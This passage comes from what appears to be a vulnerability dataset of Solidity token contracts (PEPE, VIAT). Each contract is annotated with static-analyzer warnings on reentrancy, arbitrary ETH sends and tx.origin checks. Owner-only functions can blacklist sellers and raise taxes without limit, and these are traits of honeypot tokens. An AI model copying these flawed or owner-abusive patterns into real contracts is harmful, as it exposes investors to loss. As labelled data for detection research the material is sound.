PEPE._taxSwapThreshold should be constant \n\t// Recommendation for 6d5f50b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: af44b86): PEPE._maxTaxSwap should be constant \n\t// Recommendation for af44b86: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4213800000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 51b3ddf): PEPE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 51b3ddf: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9a1c86b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9a1c86b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5bc0459): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5bc0459: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9a1c86b\n\t\t// reentrancy-benign | ID: 5bc0459\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9a1c86b\n\t\t// reentrancy-benign | ID: 5bc0459\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fb6a681): PEPE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for fb6a681: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 5bc0459\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9a1c86b\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 347b318): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 347b318: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e29c3a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e29c3a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 347b318\n\t\t\t\t// reentrancy-eth | ID: e29c3a7\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 347b318\n\t\t\t\t\t// reentrancy-eth | ID: e29c3a7\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e29c3a7\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: e29c3a7\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e29c3a7\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 347b318\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e29c3a7\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e29c3a7\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 347b318\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9a1c86b\n\t\t// reentrancy-events | ID: 347b318\n\t\t// reentrancy-benign | ID: 5bc0459\n\t\t// reentrancy-eth | ID: e29c3a7\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 197cc0f): PEPE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 197cc0f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9a1c86b\n\t\t// reentrancy-events | ID: 347b318\n\t\t// reentrancy-eth | ID: e29c3a7\n\t\t// arbitrary-send-eth | ID: 197cc0f\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2feb29b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2feb29b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 271678d): PEPE.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 271678d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6745ded): PEPE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6745ded: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d026961): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d026961: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2feb29b\n\t\t// reentrancy-eth | ID: d026961\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2feb29b\n\t\t// unused-return | ID: 6745ded\n\t\t// reentrancy-eth | ID: d026961\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2feb29b\n\t\t// unused-return | ID: 271678d\n\t\t// reentrancy-eth | ID: d026961\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 2feb29b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d026961\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10872.sol",
"size_bytes": 20150,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract VIAT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e8f8194): VIAT._taxWallet should be immutable \n\t// Recommendation for e8f8194: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99e43fa): VIAT._initialBuyTax should be constant \n\t// Recommendation for 99e43fa: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: f47b10a): VIAT._initialSellTax should be constant \n\t// Recommendation for f47b10a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 4;\n\n uint256 private _finalBuyTax = 4;\n\n uint256 private _finalSellTax = 4;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c8d0f0): VIAT._reduceBuyTaxAt should be constant \n\t// Recommendation for 4c8d0f0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ee809b): VIAT._reduceSellTaxAt should be constant \n\t// Recommendation for 8ee809b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae36200): VIAT._preventSwapBefore should be constant \n\t// Recommendation for ae36200: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Sentivate\";\n\n string private constant _symbol = unicode\"VIAT\";\n\n uint256 public _maxTxAmount = 4200001 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400001 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 19fd3ab): VIAT._taxSwapThreshold should be constant \n\t// Recommendation for 19fd3ab: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6949743): VIAT._maxTaxSwap should be constant \n\t// Recommendation for 6949743: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5745e03): VIAT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5745e03: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f2ae01d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f2ae01d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ac7c537): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ac7c537: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f2ae01d\n\t\t// reentrancy-benign | ID: ac7c537\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f2ae01d\n\t\t// reentrancy-benign | ID: ac7c537\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: acae13a): VIAT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for acae13a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ac7c537\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f2ae01d\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae20ecd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae20ecd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: d5231e5): VIAT._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for d5231e5: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8344860): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8344860: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: d5231e5\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: ae20ecd\n\t\t\t\t// reentrancy-eth | ID: 8344860\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ae20ecd\n\t\t\t\t\t// reentrancy-eth | ID: 8344860\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 8344860\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ae20ecd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 8344860\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 8344860\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ae20ecd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n\n if (!tradingOpen) {\n return;\n }\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f2ae01d\n\t\t// reentrancy-events | ID: ae20ecd\n\t\t// reentrancy-benign | ID: ac7c537\n\t\t// reentrancy-eth | ID: 8344860\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 67c46a5): VIAT.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 67c46a5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f2ae01d\n\t\t// reentrancy-events | ID: ae20ecd\n\t\t// reentrancy-eth | ID: 8344860\n\t\t// arbitrary-send-eth | ID: 67c46a5\n _taxWallet.transfer(amount);\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function stt(address[] memory bts_) external onlyOwner {\n for (uint i = 0; i < bts_.length; i++) {\n bots[bts_[i]] = true;\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eb07f71): VIAT.stt(uint256,uint256) should emit an event for _finalBuyTax = nbf _finalSellTax = nsf \n\t// Recommendation for eb07f71: Emit an event for critical parameter changes.\n function stt(uint256 nbf, uint256 nsf) external onlyOwner {\n\t\t// events-maths | ID: eb07f71\n _finalBuyTax = nbf;\n\n\t\t// events-maths | ID: eb07f71\n _finalSellTax = nsf;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5d75eb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5d75eb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f9e5e85): VIAT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f9e5e85: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cbbc833): VIAT.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for cbbc833: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 686ab1e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 686ab1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5d75eb5\n\t\t// reentrancy-eth | ID: 686ab1e\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 5d75eb5\n\t\t// unused-return | ID: f9e5e85\n\t\t// reentrancy-eth | ID: 686ab1e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5d75eb5\n\t\t// unused-return | ID: cbbc833\n\t\t// reentrancy-eth | ID: 686ab1e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5d75eb5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 686ab1e\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10873.sol",
"size_bytes": 20599,
"vulnerability": 4
} |
{
